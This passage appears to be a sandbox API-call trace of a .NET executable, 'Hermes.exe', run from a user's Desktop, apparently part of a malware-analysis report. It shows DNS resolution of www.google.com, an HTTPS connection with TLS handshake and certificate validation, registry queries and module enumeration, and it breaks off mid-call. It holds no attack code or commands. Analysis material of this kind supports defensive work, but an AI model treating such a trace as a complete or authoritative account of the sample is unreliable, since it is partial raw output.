[0096.162] CoTaskMemFree (pv=0x82b38f8) [0096.162] LoadLibraryExW (lpLibFileName="C:\\WINDOWS\\system32\\en-US\\tzres.dll.mui", hFile=0x0, dwFlags=0x2) returned 0x8260001 [0096.163] CoTaskMemAlloc (cb=0x3ec) returned 0x1010fc8 [0096.163] LoadStringW (hInstance=0x8260001, uID=0x142, lpBuffer=0x1010fc8, cchBufferMax=500) [0096.164] CoTaskMemFree (pv=0x1010fc8) [0096.164] FreeLibrary (hLibModule=0x8260001) returned 1 [0096.164] CoTaskMemAlloc (cb=0x20c) returned 0x82b38f8 [0096.164] SHGetFolderPathW (in: hwnd=0x0, csidl=37, hToken=0x0, dwFlags=0x0, pszPath=0x82b38f8 | out: pszPath="C:\\WINDOWS\\system32") returned 0x0 [0096.165] CoTaskMemFree (pv=0x82b38f8) [0096.165] CoTaskMemAlloc (cb=0x20e) returned 0x82b38f8 [0096.165] GetFileMUIPath (in: dwFlags=0x10, pcwszFilePath="C:\\WINDOWS\\system32\\tzres.dll", pwszLanguage=0x0, pcchLanguage=0x19e458, pwszFileMUIPath=0x82b38f8, pcchFileMUIPath=0x19e45c, pululEnumerator=0x19e450 | out: pwszLanguage=0x0, pcchLanguage=0x19e458, pwszFileMUIPath="C:\\WINDOWS\\system32\\en-US\\tzres.dll.mui", pcchFileMUIPath=0x19e45c, pululEnumerator=0x19e450) returned 1 [0096.166] CoTaskMemFree (pv=0x0) [0096.166] CoTaskMemFree (pv=0x82b38f8) [0096.166] LoadLibraryExW (lpLibFileName="C:\\WINDOWS\\system32\\en-US\\tzres.dll.mui", hFile=0x0, dwFlags=0x2) returned 0x8260001 [0096.167] CoTaskMemAlloc (cb=0x3ec) returned 0x1010fc8 [0096.167] LoadStringW (hInstance=0x8260001, uID=0x141, lpBuffer=0x1010fc8, cchBufferMax=500) [0096.167] CoTaskMemFree (pv=0x1010fc8) [0096.167] FreeLibrary (hLibModule=0x8260001) returned 1 [0096.168] RegCloseKey (hKey=0x58c) returned 0x0 [0096.168] SetEvent (hEvent=0x2fc) returned 1 [0096.221] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x19e664 | out: pFixedInfo=0x0, pOutBufLen=0x19e664) returned 0x6f [0096.448] GetCurrentProcess () returned 0xffffffff [0096.449] GetCurrentProcess () returned 0xffffffff [0096.450] GetCurrentProcess () returned 0xffffffff [0096.451] GetCurrentProcess () returned 0xffffffff [0096.452] GetCurrentProcess () returned 0xffffffff [0096.456] GetCurrentProcess () returned 0xffffffff [0096.456] GetCurrentProcess () returned 0xffffffff [0096.457] GetCurrentProcess () returned 0xffffffff [0096.458] GetCurrentProcess () returned 0xffffffff [0096.574] GetCurrentProcess () returned 0xffffffff [0096.575] GetCurrentProcess () returned 0xffffffff [0096.575] GetCurrentProcess () returned 0xffffffff [0096.576] GetCurrentProcess () returned 0xffffffff [0096.577] GetCurrentProcess () returned 0xffffffff [0096.578] GetCurrentProcess () returned 0xffffffff [0096.767] LocalAlloc (uFlags=0x0, uBytes=0x248) returned 0x82b38f8 [0096.767] GetNetworkParams (in: pFixedInfo=0x82b38f8, pOutBufLen=0x19e664 | out: pFixedInfo=0x82b38f8, pOutBufLen=0x19e664) returned 0x0 [0096.824] LocalFree (hMem=0x82b38f8) returned 0x0 [0096.824] CoTaskMemAlloc (cb=0x20e) returned 0x82b38f8 [0096.824] GetEnvironmentVariableW (in: lpName="PinnableBufferCache_System.Net.Connection_Disabled", lpBuffer=0x82b38f8, nSize=0x105 | out: lpBuffer="\x92a0\x101\x25b0\x101") returned 0x0 [0096.824] CoTaskMemFree (pv=0x82b38f8) [0096.824] CoTaskMemAlloc (cb=0x20e) returned 0x82b38f8 [0096.824] GetEnvironmentVariableW (in: lpName="PinnableBufferCache_System.Net.Connection_MinCount", lpBuffer=0x82b38f8, nSize=0x105 | out: lpBuffer="\x92a0\x101\x25b0\x101") returned 0x0 [0096.824] CoTaskMemFree (pv=0x82b38f8) [0096.826] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x5b8 [0096.826] WSASocketW (af=23, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x568 [0096.827] GetAddrInfoW (in: pNodeName="www.google.com", pServiceName=0x0, pHints=0x19e54c*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x19e4f4 | out: ppResult=0x19e4f4*=0xfcaf40*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="www.google.com", ai_addr=0x82bd8f0*(sa_family=2, sin_port=0x0, sin_addr="172.217.22.36"), ai_next=0x0)) returned 0 [0096.828] GetCurrentProcess () returned 0xffffffff [0096.829] GetCurrentProcess () returned 0xffffffff [0096.889] GetCurrentProcess () returned 0xffffffff [0096.890] GetCurrentProcess () returned 0xffffffff [0096.890] GetCurrentProcess () returned 0xffffffff [0096.891] GetCurrentProcess () returned 0xffffffff [0096.892] GetCurrentProcess () returned 0xffffffff [0096.901] GetCurrentProcess () returned 0xffffffff [0096.902] GetCurrentProcess () returned 0xffffffff [0097.068] GetCurrentProcess () returned 0xffffffff [0097.069] GetCurrentProcess () returned 0xffffffff [0097.069] GetCurrentProcess () returned 0xffffffff [0097.071] GetCurrentProcess () returned 0xffffffff [0097.072] GetCurrentProcess () returned 0xffffffff [0097.079] FreeAddrInfoW (pAddrInfo=0xfcaf40*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="www.google.com", ai_addr=0x82bd8f0*(sa_family=2, sin_port=0x0, sin_addr="172.217.22.36"), ai_next=0x0)) [0097.079] WSASocketW (af=2, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x5c0 [0097.079] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x5c8 [0097.080] ioctlsocket (in: s=0x5c0, cmd=-2147195266, argp=0x19e520 | out: argp=0x19e520) returned 0 [0097.080] WSASocketW (af=23, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x5cc [0097.080] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x5d0 [0097.080] ioctlsocket (in: s=0x5cc, cmd=-2147195266, argp=0x19e520 | out: argp=0x19e520) returned 0 [0097.080] WSAIoctl (in: s=0x5c0, dwIoControlCode=0x28000017, lpvInBuffer=0x0, cbInBuffer=0x0, lpvOutBuffer=0x0, cbOutBuffer=0x0, lpcbBytesReturned=0x19e508, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x0, lpcbBytesReturned=0x19e508, lpOverlapped=0x0) returned -1 [0097.080] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x2733, dwLanguageId=0x0, lpBuffer=0x19e238, nSize=0x101, Arguments=0x0 | out: lpBuffer="A non-blocking socket operation could not be completed immediately.\r\n") returned 0x45 [0097.080] WSAEventSelect (s=0x5c0, hEventObject=0x5c8, lNetworkEvents=512) returned 0 [0097.080] WSAIoctl (in: s=0x5cc, dwIoControlCode=0x28000017, lpvInBuffer=0x0, cbInBuffer=0x0, lpvOutBuffer=0x0, cbOutBuffer=0x0, lpcbBytesReturned=0x19e508, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x0, lpcbBytesReturned=0x19e508, lpOverlapped=0x0) returned -1 [0097.080] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x2733, dwLanguageId=0x0, lpBuffer=0x19e238, nSize=0x101, Arguments=0x0 | out: lpBuffer="A non-blocking socket operation could not be completed immediately.\r\n") returned 0x45 [0097.081] WSAEventSelect (s=0x5cc, hEventObject=0x5d0, lNetworkEvents=512) returned 0 [0097.081] GetAdaptersAddresses () returned 0x6f [0097.088] LocalAlloc (uFlags=0x0, uBytes=0x810) returned 0x1017118 [0097.088] GetAdaptersAddresses () returned 0x0 [0097.105] LocalFree (hMem=0x1017118) returned 0x0 [0097.107] WSAConnect (in: s=0x5b8, name=0x31811c8*(sa_family=2, sin_port=0x1bb, sin_addr="172.217.22.36"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned 0 [0097.126] closesocket (s=0x568) returned 0 [0097.131] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319", ulOptions=0x0, samDesired=0x20019, phkResult=0x19e454 | out: phkResult=0x19e454*=0x568) returned 0x0 [0097.132] RegQueryValueExW (in: hKey=0x568, lpValueName="HWRPortReuseOnSocketBind", lpReserved=0x0, lpType=0x19e470, lpData=0x0, lpcbData=0x19e46c*=0x0 | out: lpType=0x19e470*=0x0, lpData=0x0, lpcbData=0x19e46c*=0x0) returned 0x2 [0097.132] RegCloseKey (hKey=0x568) returned 0x0 [0097.202] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319", ulOptions=0x0, samDesired=0x20019, phkResult=0x19e458 | out: phkResult=0x19e458*=0x568) returned 0x0 [0097.203] RegQueryValueExW (in: hKey=0x568, lpValueName="SchUseStrongCrypto", lpReserved=0x0, lpType=0x19e474, lpData=0x0, lpcbData=0x19e470*=0x0 | out: lpType=0x19e474*=0x0, lpData=0x0, lpcbData=0x19e470*=0x0) returned 0x2 [0097.203] RegCloseKey (hKey=0x568) returned 0x0 [0097.205] GetCurrentProcessId () returned 0xf4c [0097.205] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf4c) returned 0x568 [0097.205] EnumProcessModules (in: hProcess=0x568, lphModule=0x3183624, cb=0x100, lpcbNeeded=0x19e460 | out: lphModule=0x3183624, lpcbNeeded=0x19e460) returned 1 [0097.205] EnumProcessModules (in: hProcess=0x568, lphModule=0x3183730, cb=0x200, lpcbNeeded=0x19e460 | out: lphModule=0x3183730, lpcbNeeded=0x19e460) returned 1 [0097.205] GetModuleInformation (in: hProcess=0x568, hModule=0x400000, lpmodinfo=0x3183970, cb=0xc | out: lpmodinfo=0x3183970*(lpBaseOfDll=0x400000, SizeOfImage=0x8cd000, EntryPoint=0x82ed56)) returned 1 [0097.206] CoTaskMemAlloc (cb=0x804) returned 0x1017118 [0097.206] GetModuleBaseNameW (in: hProcess=0x568, hModule=0x400000, lpBaseName=0x1017118, nSize=0x800 | out: lpBaseName="Hermes.exe") returned 0xa [0097.206] CoTaskMemFree (pv=0x1017118) [0097.206] CoTaskMemAlloc (cb=0x804) returned 0x1017118 [0097.206] GetModuleFileNameExW (in: hProcess=0x568, hModule=0x400000, lpFilename=0x1017118, nSize=0x800 | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\Hermes.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\hermes.exe")) returned 0x22 [0097.206] CoTaskMemFree (pv=0x1017118) [0097.206] CloseHandle (hObject=0x568) returned 1 [0097.206] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\Hermes.exe", nBufferLength=0x105, lpBuffer=0x19df5c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\Hermes.exe", lpFilePart=0x0) returned 0x22 [0097.206] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319\\System.Net.ServicePointManager.SchSendAuxRecord", ulOptions=0x0, samDesired=0x20019, phkResult=0x19e458 | out: phkResult=0x19e458*=0x0) returned 0x2 [0097.207] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319", ulOptions=0x0, samDesired=0x20019, phkResult=0x19e458 | out: phkResult=0x19e458*=0x568) returned 0x0 [0097.208] RegQueryValueExW (in: hKey=0x568, lpValueName="SchSendAuxRecord", lpReserved=0x0, lpType=0x19e474, lpData=0x0, lpcbData=0x19e470*=0x0 | out: lpType=0x19e474*=0x0, lpData=0x0, lpcbData=0x19e470*=0x0) returned 0x2 [0097.208] RegCloseKey (hKey=0x568) returned 0x0 [0097.209] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319", ulOptions=0x0, samDesired=0x20019, phkResult=0x19e458 | out: phkResult=0x19e458*=0x568) returned 0x0 [0097.209] RegQueryValueExW (in: hKey=0x568, lpValueName="SystemDefaultTlsVersions", lpReserved=0x0, lpType=0x19e474, lpData=0x0, lpcbData=0x19e470*=0x0 | out: lpType=0x19e474*=0x0, lpData=0x0, lpcbData=0x19e470*=0x0) returned 0x2 [0097.209] RegCloseKey (hKey=0x568) returned 0x0 [0097.210] GetCurrentProcessId () returned 0xf4c [0097.210] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf4c) returned 0x568 [0097.210] EnumProcessModules (in: hProcess=0x568, lphModule=0x31865c0, cb=0x100, lpcbNeeded=0x19e458 | out: lphModule=0x31865c0, lpcbNeeded=0x19e458) returned 1 [0097.210] EnumProcessModules (in: hProcess=0x568, lphModule=0x31866cc, cb=0x200, lpcbNeeded=0x19e458 | out: lphModule=0x31866cc, lpcbNeeded=0x19e458) returned 1 [0097.210] GetModuleInformation (in: hProcess=0x568, hModule=0x400000, lpmodinfo=0x318690c, cb=0xc | out: lpmodinfo=0x318690c*(lpBaseOfDll=0x400000, SizeOfImage=0x8cd000, EntryPoint=0x82ed56)) returned 1 [0097.210] CoTaskMemAlloc (cb=0x804) returned 0x1017118 [0097.210] GetModuleBaseNameW (in: hProcess=0x568, hModule=0x400000, lpBaseName=0x1017118, nSize=0x800 | out: lpBaseName="Hermes.exe") returned 0xa [0097.211] CoTaskMemFree (pv=0x1017118) [0097.211] CoTaskMemAlloc (cb=0x804) returned 0x1017118 [0097.211] GetModuleFileNameExW (in: hProcess=0x568, hModule=0x400000, lpFilename=0x1017118, nSize=0x800 | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\Hermes.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\hermes.exe")) returned 0x22 [0097.211] CoTaskMemFree (pv=0x1017118) [0097.211] CloseHandle (hObject=0x568) returned 1 [0097.211] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\Hermes.exe", nBufferLength=0x105, lpBuffer=0x19df54, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\Hermes.exe", lpFilePart=0x0) returned 0x22 [0097.211] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319\\System.Net.ServicePointManager.RequireCertificateEKUs", ulOptions=0x0, samDesired=0x20019, phkResult=0x19e450 | out: phkResult=0x19e450*=0x0) returned 0x2 [0097.212] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319", ulOptions=0x0, samDesired=0x20019, phkResult=0x19e450 | out: phkResult=0x19e450*=0x568) returned 0x0 [0097.213] RegQueryValueExW (in: hKey=0x568, lpValueName="RequireCertificateEKUs", lpReserved=0x0, lpType=0x19e46c, lpData=0x0, lpcbData=0x19e468*=0x0 | out: lpType=0x19e46c*=0x0, lpData=0x0, lpcbData=0x19e468*=0x0) returned 0x2 [0097.213] RegCloseKey (hKey=0x568) returned 0x0 [0097.214] LocalAlloc (uFlags=0x0, uBytes=0x24) returned 0xf836a0 [0097.518] GetCurrentProcess () returned 0xffffffff [0097.519] GetCurrentProcess () returned 0xffffffff [0097.519] GetCurrentProcess () returned 0xffffffff [0097.521] GetCurrentProcess () returned 0xffffffff [0097.563] GetCurrentProcess () returned 0xffffffff [0097.564] GetCurrentProcess () returned 0xffffffff [0097.565] GetCurrentProcess () returned 0xffffffff [0097.566] GetCurrentProcess () returned 0xffffffff [0097.566] GetCurrentProcess () returned 0xffffffff [0097.574] CryptFindOIDInfo (dwKeyType=0x2, pvKey=0xf836a0, dwGroupId=0x0) returned 0x0 [0097.846] GetCurrentProcess () returned 0xffffffff [0097.848] GetCurrentProcess () returned 0xffffffff [0097.851] LocalFree (hMem=0xf836a0) returned 0x0 [0097.851] LocalAlloc (uFlags=0x0, uBytes=0x24) returned 0x1018bb8 [0097.851] CryptFindOIDInfo (dwKeyType=0x2, pvKey=0x1018bb8, dwGroupId=0x0) returned 0x0 [0097.851] LocalFree (hMem=0x1018bb8) returned 0x0 [0097.978] GetCurrentProcess () returned 0xffffffff [0097.979] GetCurrentProcess () returned 0xffffffff [0097.980] GetCurrentProcess () returned 0xffffffff [0097.980] GetCurrentProcess () returned 0xffffffff [0097.981] GetCurrentProcess () returned 0xffffffff [0097.982] EnumerateSecurityPackagesW (in: pcPackages=0x19e494, ppPackageInfo=0x19e428 | out: pcPackages=0x19e494, ppPackageInfo=0x19e428) returned 0x0 [0097.992] FreeContextBuffer (in: pvContextBuffer=0x10163c8 | out: pvContextBuffer=0x10163c8) returned 0x0 [0097.995] GetCurrentProcess () returned 0xffffffff [0097.995] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x19e258 | out: TokenHandle=0x19e258*=0x5d8) returned 1 [0097.996] AcquireCredentialsHandleW (in: pPrincipal=0x0, pPackage=0x3188fb4, fCredentialUse=0x2, pvLogonId=0x0, pAuthData=0x19e2ac, pGetKeyFn=0x0, pvGetKeyArgument=0x0, phCredential=0x318a720, ptsExpiry=0x19e230 | out: phCredential=0x318a720, ptsExpiry=0x19e230) returned 0x0 [0098.387] GetCurrentProcess () returned 0xffffffff [0098.388] GetCurrentProcess () returned 0xffffffff [0098.389] GetCurrentProcess () returned 0xffffffff [0098.391] GetCurrentProcess () returned 0xffffffff [0098.392] GetCurrentProcess () returned 0xffffffff [0098.423] InitializeSecurityContextW (in: phCredential=0x19e26c, phContext=0x0, pTargetName=0x31812bc, fContextReq=0x8011c, Reserved1=0x0, TargetDataRep=0x10, pInput=0x0, Reserved2=0x0, phNewContext=0x318a924, pOutput=0x318a8bc, pfContextAttr=0x3188f88, ptsExpiry=0x19e264 | out: phNewContext=0x318a924, pOutput=0x318a8bc, pfContextAttr=0x3188f88, ptsExpiry=0x19e264) returned 0x90312 [0098.424] FreeContextBuffer (in: pvContextBuffer=0xfc1a08 | out: pvContextBuffer=0xfc1a08) returned 0x0 [0098.426] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000 [0098.426] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x400, lpWideCharStr="AppPolicyGetClrCompat", cchWideChar=21, lpMultiByteStr=0x19e2ac, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AppPolicyGetClrCompatãþq\x9fu¦fðù¼sÀê\x19", lpUsedDefaultChar=0x0) returned 21 [0098.426] GetProcAddress (hModule=0x75e90000, lpProcName="AppPolicyGetClrCompat") returned 0x74f768b0 [0098.427] AppPolicyGetClrCompat () returned 0x0 [0098.428] send (s=0x5b8, buf=0x318a938*, len=122, flags=0) returned 122 [0098.430] recv (in: s=0x5b8, buf=0x318a938, len=5, flags=0 | out: buf=0x318a938*) returned 5 [0098.456] recv (in: s=0x5b8, buf=0x318a93d, len=63, flags=0 | out: buf=0x318a93d*) returned 63 [0098.457] InitializeSecurityContextW (in: phCredential=0x19e1c4, phContext=0x19e254, pTargetName=0x31812bc, fContextReq=0x8011c, Reserved1=0x0, TargetDataRep=0x10, pInput=0x318ad10, Reserved2=0x0, phNewContext=0x318a924, pOutput=0x318ad24, pfContextAttr=0x3188f88, ptsExpiry=0x19e1bc | out: phNewContext=0x318a924, pOutput=0x318ad24, pfContextAttr=0x3188f88, ptsExpiry=0x19e1bc) returned 0x90312 [0098.457] recv (in: s=0x5b8, buf=0x318adb4, len=5, flags=0 | out: buf=0x318adb4*) returned 5 [0098.457] recv (in: s=0x5b8, buf=0x318adcd, len=2112, flags=0 | out: buf=0x318adcd*) returned 2112 [0098.457] InitializeSecurityContextW (in: phCredential=0x19e120, phContext=0x19e1b0, pTargetName=0x31812bc, fContextReq=0x8011c, Reserved1=0x0, TargetDataRep=0x10, pInput=0x318b680, Reserved2=0x0, phNewContext=0x318a924, pOutput=0x318b694, pfContextAttr=0x3188f88, ptsExpiry=0x19e118 | out: phNewContext=0x318a924, pOutput=0x318b694, pfContextAttr=0x3188f88, ptsExpiry=0x19e118) returned 0x90312 [0098.472] recv (in: s=0x5b8, buf=0x318b724, len=5, flags=0 | out: buf=0x318b724*) returned 5 [0098.473] recv (in: s=0x5b8, buf=0x318b73d, len=112, flags=0 | out: buf=0x318b73d*) returned 112 [0098.473] InitializeSecurityContextW (in: phCredential=0x19e07c, phContext=0x19e10c, pTargetName=0x31812bc, fContextReq=0x8011c, Reserved1=0x0, TargetDataRep=0x10, pInput=0x318b820, Reserved2=0x0, phNewContext=0x318a924, pOutput=0x318b834, pfContextAttr=0x3188f88, ptsExpiry=0x19e074 | out: phNewContext=0x318a924, pOutput=0x318b834, pfContextAttr=0x3188f88, ptsExpiry=0x19e074) returned 0x90312 [0098.473] recv (in: s=0x5b8, buf=0x318b8c4, len=5, flags=0 | out: buf=0x318b8c4*) returned 5 [0098.473] recv (in: s=0x5b8, buf=0x318b8dd, len=4, flags=0 | out: buf=0x318b8dd*) returned 4 [0098.473] InitializeSecurityContextW (in: phCredential=0x19dfd8, phContext=0x19e068, pTargetName=0x31812bc, fContextReq=0x8011c, Reserved1=0x0, TargetDataRep=0x10, pInput=0x318b954, Reserved2=0x0, phNewContext=0x318a924, pOutput=0x318b968, pfContextAttr=0x3188f88, ptsExpiry=0x19dfd0 | out: phNewContext=0x318a924, pOutput=0x318b968, pfContextAttr=0x3188f88, ptsExpiry=0x19dfd0) returned 0x90312 [0098.509] FreeContextBuffer (in: pvContextBuffer=0xfbfe58 | out: pvContextBuffer=0xfbfe58) returned 0x0 [0098.509] send (s=0x5b8, buf=0x318b9e4*, len=101, flags=0) returned 101 [0098.509] recv (in: s=0x5b8, buf=0x318b9e4, len=5, flags=0 | out: buf=0x318b9e4*) returned 5 [0098.527] recv (in: s=0x5b8, buf=0x318ba71, len=228, flags=0 | out: buf=0x318ba71*) returned 228 [0098.527] InitializeSecurityContextW (in: phCredential=0x19df34, phContext=0x19dfc4, pTargetName=0x31812bc, fContextReq=0x8011c, Reserved1=0x0, TargetDataRep=0x10, pInput=0x318bbc8, Reserved2=0x0, phNewContext=0x318a924, pOutput=0x318bbdc, pfContextAttr=0x3188f88, ptsExpiry=0x19df2c | out: phNewContext=0x318a924, pOutput=0x318bbdc, pfContextAttr=0x3188f88, ptsExpiry=0x19df2c) returned 0x90312 [0098.527] recv (in: s=0x5b8, buf=0x318bc6c, len=5, flags=0 | out: buf=0x318bc6c*) returned 5 [0098.528] recv (in: s=0x5b8, buf=0x318bc85, len=1, flags=0 | out: buf=0x318bc85*) returned 1 [0098.528] InitializeSecurityContextW (in: phCredential=0x19de90, phContext=0x19df20, pTargetName=0x31812bc, fContextReq=0x8011c, Reserved1=0x0, TargetDataRep=0x10, pInput=0x318bcf8, Reserved2=0x0, phNewContext=0x318a924, pOutput=0x318bd0c, pfContextAttr=0x3188f88, ptsExpiry=0x19de88 | out: phNewContext=0x318a924, pOutput=0x318bd0c, pfContextAttr=0x3188f88, ptsExpiry=0x19de88) returned 0x90312 [0098.528] recv (in: s=0x5b8, buf=0x318bd9c, len=5, flags=0 | out: buf=0x318bd9c*) returned 5 [0098.528] recv (in: s=0x5b8, buf=0x318bdb5, len=48, flags=0 | out: buf=0x318bdb5*) returned 48 [0098.528] InitializeSecurityContextW (in: phCredential=0x19ddec, phContext=0x19de7c, pTargetName=0x31812bc, fContextReq=0x8011c, Reserved1=0x0, TargetDataRep=0x10, pInput=0x318be58, Reserved2=0x0, phNewContext=0x318a924, pOutput=0x318be6c, pfContextAttr=0x3188f88, ptsExpiry=0x19dde4 | out: phNewContext=0x318a924, pOutput=0x318be6c, pfContextAttr=0x3188f88, ptsExpiry=0x19dde4) returned 0x0 [0098.689] GetCurrentProcess () returned 0xffffffff [0098.690] GetCurrentProcess () returned 0xffffffff [0098.690] GetCurrentProcess () returned 0xffffffff [0098.691] GetCurrentProcess () returned 0xffffffff [0098.869] GetCurrentProcess () returned 0xffffffff [0098.870] GetCurrentProcess () returned 0xffffffff [0098.871] GetCurrentProcess () returned 0xffffffff [0098.871] GetCurrentProcess () returned 0xffffffff [0098.873] GetCurrentProcess () returned 0xffffffff [0099.027] GetCurrentProcess () returned 0xffffffff [0099.028] GetCurrentProcess () returned 0xffffffff [0099.030] GetCurrentProcess () returned 0xffffffff [0099.031] GetCurrentProcess () returned 0xffffffff [0099.032] GetCurrentProcess () returned 0xffffffff [0099.154] GetCurrentProcess () returned 0xffffffff [0099.155] GetCurrentProcess () returned 0xffffffff [0099.157] GetCurrentProcess () returned 0xffffffff [0099.158] GetCurrentProcess () returned 0xffffffff [0099.370] GetCurrentProcess () returned 0xffffffff [0099.371] GetCurrentProcess () returned 0xffffffff [0099.371] GetCurrentProcess () returned 0xffffffff [0099.372] GetCurrentProcess () returned 0xffffffff [0099.373] GetCurrentProcess () returned 0xffffffff [0099.377] QueryContextAttributesW (in: phContext=0x318a924, ulAttribute=0x4, pBuffer=0x318bf18 | out: pBuffer=0x318bf18) returned 0x0 [0099.377] QueryContextAttributesW (in: phContext=0x318a924, ulAttribute=0x5a, pBuffer=0x318bf70 | out: pBuffer=0x318bf70) returned 0x0 [0099.378] QueryContextAttributesW (in: phContext=0x318a924, ulAttribute=0x53, pBuffer=0x318c01c | out: pBuffer=0x318c01c) returned 0x0 [0099.384] GetCurrentProcess () returned 0xffffffff [0099.385] GetCurrentProcess () returned 0xffffffff [0099.386] GetCurrentProcess () returned 0xffffffff [0099.387] GetCurrentProcess () returned 0xffffffff [0099.388] CertDuplicateCertificateContext (pCertContext=0x101af38) returned 0x101af38 [0099.388] CertDuplicateStore (hCertStore=0x1016f50) returned 0x1016f50 [0099.389] CertEnumCertificatesInStore (hCertStore=0x1016f50, pPrevCertContext=0x0) returned 0x101ac18 [0099.389] CertDuplicateCertificateContext (pCertContext=0x101ac18) returned 0x101ac18 [0099.389] CertEnumCertificatesInStore (hCertStore=0x1016f50, pPrevCertContext=0x101ac18) returned 0x101af38 [0099.389] CertDuplicateCertificateContext (pCertContext=0x101af38) returned 0x101af38 [0099.390] CertEnumCertificatesInStore (hCertStore=0x1016f50, pPrevCertContext=0x101af38) returned 0x0 [0099.390] CertCloseStore (hCertStore=0x1016f50, dwFlags=0x0) returned 1 [0099.390] CertFreeCertificateContext (pCertContext=0x101af38) returned 1 [0099.456] CertOpenStore (lpszStoreProvider=0x2, dwEncodingType=0x10001, hCryptProv=0x0, dwFlags=0x2204, pvPara=0x0) returned 0x1016cf8 [0099.528] CertAddCRLLinkToStore (in: hCertStore=0x1016cf8, pCrlContext=0x101ac18, dwAddDisposition=0x4, ppStoreContext=0x0 | out: ppStoreContext=0x0) returned 1 [0099.529] CertAddCRLLinkToStore (in: hCertStore=0x1016cf8, pCrlContext=0x101af38, dwAddDisposition=0x4, ppStoreContext=0x0 | out: ppStoreContext=0x0) returned 1 [0099.529] LocalAlloc (uFlags=0x40, uBytes=0x16) returned 0x82b1808 [0099.545] CertGetCertificateChain (in: hChainEngine=0x0, pCertContext=0x101af38, pTime=0x19ddfc, hAdditionalStore=0x1016cf8, pChainPara=0x19dd3c, dwFlags=0x0, pvReserved=0x0, ppChainContext=0x19dd30 | out: ppChainContext=0x19dd30) returned 1 [0099.567] LocalFree (hMem=0x82b1808) returned 0x0 [0099.567] CertDuplicateCertificateChain (pChainContext=0x102ad20) returned 0x102ad20 [0099.567] CertDuplicateCertificateContext (pCertContext=0x101af38) returned 0x101af38 [0099.567] CertDuplicateCertificateContext (pCertContext=0x101b028) returned 0x101b028 [0099.568] CertDuplicateCertificateContext (pCertContext=0x101a998) returned 0x101a998 [0099.568] CertFreeCertificateChain (pChainContext=0x102ad20) [0099.568] CertVerifyCertificateChainPolicy (in: pszPolicyOID=0x1, pChainContext=0x102ad20, pPolicyPara=0x19dedc, pPolicyStatus=0x19dec8 | out: pPolicyStatus=0x19dec8) returned 1 [0099.570] SetLastError (dwErrCode=0x0) [0099.571] CertVerifyCertificateChainPolicy (in: pszPolicyOID=0x4, pChainContext=0x102ad20, pPolicyPara=0x19df3c, pPolicyStatus=0x19def0 | out: pPolicyStatus=0x19def0) returned 1 [0099.577] CertFreeCertificateChain (pChainContext=0x102ad20) [0099.577] CertFreeCertificateContext (pCertContext=0x101af38) returned 1 [0099.578] GetCurrentProcess () returned 0xffffffff [0099.579] GetCurrentProcess () returned 0xffffffff [0099.581] CoTaskMemAlloc (cb=0x20e) returned 0x102ad20 [0099.581] GetEnvironmentVariableW (in: lpName="PinnableBufferCache_System.Net.SslStream_Disabled", lpBuffer=0x102ad20, nSize=0x105 | out: lpBuffer="ၐăÐăĀ") returned 0x0 [0099.581] CoTaskMemFree (pv=0x102ad20) [0099.581] CoTaskMemAlloc (cb=0x20e) returned 0x102ad20 [0099.581] GetEnvironmentVariableW (in: lpName="PinnableBufferCache_System.Net.SslStream_MinCount", lpBuffer=0x102ad20, nSize=0x105 | out: lpBuffer="ၐăÐăĀ") returned 0x0 [0099.581] CoTaskMemFree (pv=0x102ad20) [0099.581] CoTaskMemAlloc (cb=0x20e) returned 0x102ad20 [0099.581] GetEnvironmentVariableW (in: 